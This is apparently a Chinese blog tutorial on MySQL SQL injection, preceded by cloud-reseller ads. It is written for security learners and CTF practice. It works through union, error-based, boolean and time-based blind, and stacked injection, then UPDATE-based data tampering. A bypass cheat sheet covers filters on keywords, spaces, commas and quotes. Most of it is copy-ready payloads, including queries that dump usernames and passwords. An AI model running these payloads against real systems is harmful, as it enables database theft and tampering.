半小时了解SQL注入漏洞?(注入方式大全+绕过大全)
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
🏆今日学习目标
🍀学习了解sql注入漏洞
✅创作者贤鱼
⏰预计时间35分钟
🎉个人主页贤鱼的个人主页
🔥专栏系列网络安全
⚠如有需要可以查看以往文章
一文了解数据库操作–mysql(25分钟)
具体详细介绍在专栏中有单独介绍可以查看
只有了解才能注入
SQL注入
🍀union注入
原理
利用union关键字union会将前后两次查询结果拼在一起由于是联合查询必须保证字段数一致也就是两个查询结果有相同列数
过程
1 判断数字或者字符串注入类型
2 判断字段数查询有几个字段
3 判断回显点有些字段存在但是不会输出内容我们需要找到会显示的字段数
4 注入库名
5 注入表名
6 注入列名
7 查数据
判断数字或者字符串
输入
id=1
id=1’
id=1’–+–+是注释的意思
为什么有时候加个单引号会报错而加个注释又会查询成功呢
举个栗子‘xxx xxx xxx’这样子是正常的
‘xxx xxx id’ xxx’ 这样子第二个’是不是就会报错
‘xxx xxx id’–+xxx’这样子后面的‘就被注释掉了也就不会报错了
判断字段数
上文说过union前后查询字段数必须一致所以我们还要对字段数进行判断。在此可以利用order by n进行判断意思是根据n个字段排序如果不存在这个字段就会报错
这里依次查询12345
4和5都会报错所以可以得知字段数为3
当然 union也是可以用的
第一个是1查询的后面三个是123查询的1234依旧报错
判断回显点
这里的操作和上文union查询字段数一样
很明显字段数3中我们的123都输出了所以回显点就是123
注入库名
查询到回显点就要开始注入了想要注入数据必须得到他的库名
获得库名可以用database函数
如图输入id=-1’ union select 1,2,3 --+
我们再回显点2位置注入发现成功获得了库名
当然换个位置效果一样
分享几个查询数据库的方法
id=-1' union select 1,database(),3 --+
查看所有数据库名称
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
也可以用group_concat()函数将查询结果内容放入同一行
id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+
注入表名
有了库名就可以查询表名了
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema='库名' --+
就可以查询到表名了
注入列名
查询到库名和表名就可以查询列名
d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
information_schema.columns where table_schema='库名' and table_name='表名' --+
查数据
接下来就是查询数据了
id=-1' union select 1,username,password from security.users limit 0,1 --+
id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
--+
concat() 将两个字段结合成为一个字段
🍀报错注入
原理
利用数据库某些机制人为制造错误使得查询的结果出现在报错中
sql查询的星系会被报错语句返回到界面上
注入
extractvalue
extractvale(MXL_document,xpath_string);
第一个参数为xml字符串
第二个参数为xpath格式字符串
作用从xml中返回包含查询字符串
注意 查询时用group_concat或者limit
记得用substr函数进行截取extractvalue报错信息最多32个字符
后面的程序和上文union注入差不多如有需要可以查看
双查询注入
上文所说查询时用group_concat或者limit
有些版本的mysql中query不能用聚合函数面对这种情况我们只能从口袋里掏出limit
用limit将结果一行一行爆出
双列名查询
join
用于将两个表连接
在sql查询时如果查询的两个列名是一样的就会报错我们可以利用这个机制注入
报错函数
geometrycollection()
geometrycollection((select * from(select * from(select
user())a)b));5.1>=version<=5.5.48
multipoint()
multipoint((select * from(select user())b));
5.1>=version<=5.5.48
polygon()
select polygon((select * from(select * from(select
user())a)b));5.1>=version<=5.5.48
multipolygon()
multipolygon((select * from(select * from(select
user())a)b));5.1>=version<=5.5.48
linestring()
linestring((select * from(select * from(select user())a)b));
5.1>=version<=5.5.48
multilinestring()
multilinestring((select * from(select * from(select
user())a)b));5.1>=version<=5.5.48
exp()
exp(~(select * from(select user())a));
5.1>=version<=5.5.48
ST_LatFromGeoHash()
select ST_LatFromGeoHash(user());>=5.7
ST_LongFromGeoHash()
select ST_LongFromGeoHash(user());*>=5.7
GTID_SUBSET()
select GTID_SUBSET(user(),1);*>=5.7
GTID_SUBTRACT()
select GTID_SUBTRACT(user(),1);*>=5.7
ST_PointFromGeoHash()
select ST_PointFromGeoHash(user(),1);*>=5.7
procedure analyse()
procedure
analyse(extractvalue(1,concat(0x3a,user())),1) 放在语句
末尾*<=5.6.17
🍀盲注
布尔盲注
原理
存在sql注入漏洞的地方但是不会会先数据只能看到是否执行成功这样子就不能通过注入数据回显了就需要盲注盲注对一个数据多次测试
举个例子
如果"库名"第一个字母是a就回显“查询成功”反之“查询失败”
如果"库名"第一个字母是b就回显“查询成功”反之“查询失败”
......
如果"库名"第一个字母是z就回显“查询成功”反之“查询失败”
......
名字可能由任何字符组成我们如果匹配上了就把他记录下来一位一位的比较就可以获得我们要的数据了
当然如果手动比较电脑和我的手一定会炸掉一个
所以我们需要写脚本在后文会介绍到。
布尔盲注payload构造步骤
确定注入点找到回显不同例如内容不同或者http头部不同
我们该如何构造语句呢
举个栗子
SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = ‘0’ or substr((QUERY),1,1) = ‘a’
这个部分就是我们需要构造的部分
构造语句的两个重点
字符串如何截取
比较结果是否相等
所以盲注就相当于把注入内容一位一位拆开然后比较内容最后比较出啥输出啥然后将比较到的每一位字符都输出就是我们的答案了
截取字符串
substr()
使用方法
substr要截取的字符串从哪一位开始截取多长
例如
select substr((select database()),1,1);
mid
用法和substr完全相同可以互相绕过过滤
rigth()
使用方法
right要截取的字符串截取长度
表示截取字符串右边几位
注意
配合ascii/ord一起使用这两个函数是返回传入字符串的首字母的ASCII码
使用方法:
ascii((right(要截取的字符串x)))
返回的内容是从右往左x位的ascii码
举个栗子
select ascii(right((select database()), 2));
left
使用方法
left要截取的字符串截取长度
表示截取字符串左边第几位
注意
配合reverse+ascii/ord使用用法和上面类似
举个栗子
elect ascii(reverse(left((select database()), 2));
regexp
使用方法
binary 目标字符串 regexp 正则
判断一个字符串是否匹配一个正则表达式
举个栗子
select (select database()) regexp binary '^sec'
rlike
用法和regexp雷同
trim
trim(leading ‘a’ from ‘abcd’)
表示移除句首a会返回abc如果将from前的a改成b则会返回abcd
insert
用法
insert字符串起始位置长度替换成什么
字符串定位函数
INSTR(str,substr)–> 返回字符串 str 中子字符串的第一个出现位置否则为0
FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一个出现位置否则为0
LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
在pos。如若substr 不在str中则返回值为0
POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
substr 在 str 中不存在返回值为 0
用法 locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在
pos。如若substr 不在str中则返回值为0。
比较
rlike/regexp
上文有讲截取+比较结合体
between
用法
expr between 下界 and 上界
意思是是否expr>=下界 &&expr<=上界
in
用法
expr0 in(expr0,expr1,expr2)
and,or减法运算
可以用一个 true 去与运算一个ASCII码减去一个数字如果返回0则说明减去的数字就是所判断的
ASCII码
可以用一个 false 去或运算一个ASCII码减去一个数字如果返回0则说明减去的数字就是所判断的
ASCII码
脚本
这里避免大家看着无聊本文主要是总结所以脚本就放在下面内容了
35分钟了解sql注入-盲注三
时间盲注
原理
有那么一种可能查询成功失败返回的都一样那么我们就无法通过返回结果看比较是否成功了这时候就需要从裤裆里掏出时间盲注了
介绍下原理
如果"数据库名"的第1个字母是a你就睡眠5秒否则就直接回显
......
如果"数据库名"的第2个字母是a你就睡眠5秒否则就直接回显
如果"数据库名"的第2个字母是b你就睡眠5秒否则就直接回显
......
后面以此类推
时间盲注payload步骤
和上文布尔盲注差不多只不过在构造条件语句时关注延时操作而不是返回值了
条件语句构造
往上翻啥都有
补充一下
and
如果and前为真执行后面内容
(condition) AND sleep(5)
or
如果前面为假才执行后面
!(condition) OR sleep(5)
延时操作
这里还是要写一下
sleep
意思是休眠指定事件后继续
栗子
SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);
benchmark
用法
benchmark执行次数执行什么
栗子
SELECT benchmark(10000000,sha1('test'));
笛卡尔积延时
注意当查询发生在多个表中时会将多个表已笛卡尔积的形式联合起来在进行查询非常费时
SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C;
正则dos延时
原理
通过费时正则匹配操作消耗时间
栗子
select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
concat(repeat('(a.*)+',30),'b');
脚本
报错盲注
用法和延时盲注基本一致但是可以用来绕过过滤延时盲注的关键字
原理
原理就是比较条件为真时通过调用产生错误的函数
if(condition报错不报错)
🍀堆叠注入
原理
当使用了支持多语句查询的函数时数据库就会造成堆叠注入
实施方法
例如
table / handler
table
作用相当于select
handler
这个好好讲一下
原理
总所周知在sql注入中可以使用select可如果题目中过滤了select该怎么办呢我们可以使用handler这个语句可以一行一行显示库中内容
模板
handler user open;
handler user read;读出什么输出什么
handler user read first [where username=‘admin’];
handler user read next [where username=‘admin’]; – [] 中的内容意味着可加可不加
user是表名
使用方法
首先抓包然后鼠标右键send to repeater
用’;闭合前段然后输入handler user open;handler user read next;,这里first时代表第一个内容next是后面的内容user是表名我们通过多次用handler user read next可以看到表中所有的内容所以多次复制handler user read next就可以了
🍀修改数据
前提
在修改数据的前提下我们要先想方法爆出对方的库名以及我们需要修改的列名有些注入可能有很多列我们要知道他们才能做到修改数据
具体方法
在决定使用这个方法的同时我们需要看看对方过滤的内容如果发现可以通过其他方法还是不要用这个为好⚠
下面来具体的实现一下
众所周知在做题之前要看一下网页源代码
这里可以看到在最后面的提示内容告诉了我们很多东西
表名这不就有了
接下来用bp抓包
这里用’;闭合前面然后按照UPDATE <表名> SET 字段1=值1, 字段2=值2, … WHERE …;的格式来修改答案
修改完毕将值发回去就可以发现成功注入了
🍀绕过方法大全🔥
常见绕过方式
大小写绕过如果在检测关键字区分大小写了才可以使用 mysql关键字不区分大小写
双写绕过如果代码的过滤原理是检测关键字并且将它删除如果只删除依次就可以利用这个绕过
url编码乳沟代码中多执行一次url解码过程就可以使用这个方法
关键字绕过
字符串
主要思想是利用函数或者十六进制数拼接目标字符串
and/or
&& —和and作用相同
|| —和or作用相同
and/or/union
try一下盲注
1'||(select user from xxx where xxx)='admin'
and/or/union/where
可以使用limit或者group by
-- limit
1||( select user from users limit 1)='admin' limit 1,1
1||( select user from users limit 1)='admin' limit 1 offset 1
-- group by
1||select user from users group by user_id having user_id=1 = 'admin'
and/or/union/where/limit/group by
emmm换成substr(group_concat(XXX))一个一个包吧
and/or/union/where/limit/group by/select
盲注—你值得拥有
1||user_id is not null -- 存在该字段正常查询不存在报错
1||substr(user,1,1)=0×61
1||substr(user,1,1)=unhex(61)
空格
select/**/username/**/from/**/user; -- /**/ 使用注释
select/*!username*//*!from*/user; -- /*!*/ 内联注释内联注释中的内容也会被当作代码执行
select(username)from(user); -- 使用括号绕过
select%0busername%0bfrom%0buser; -- 如果使用url传参时可以使用其他的空白符号(将其进行URL
编码)绕过%09:TAB 键水平; %0a: 新建一行; %0b:TAB 键垂直; %0c:新的一页;
%0d:return 功能;
select`username`from`user`; -- 对于表名和列名可以用反引号包裹起来。
逗号
-- 绕过select中字段间的逗号使用join
select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
-- 绕过if中的逗号
select username from user where username='admin' or (CASE WHEN (1=12) THEN 1
ELSE 0 END)
-- 绕过substr中逗号
Substr(DATABASE() FROM pos FOR len), mid(DATABASE() FROM 1 FOR 1)
-- 绕过limit中逗号
Limit 1 offset 1
select top 5 * from table
单双引号
如果被转义尝试宽字节注入
如果’被改成了’就无法用引号闭合sql语句中的引号了
🏆结束语
🍀sql注入的内容就早这里了如果对网络安全感兴趣的话可以订阅专栏会持续更新网络安全方面知识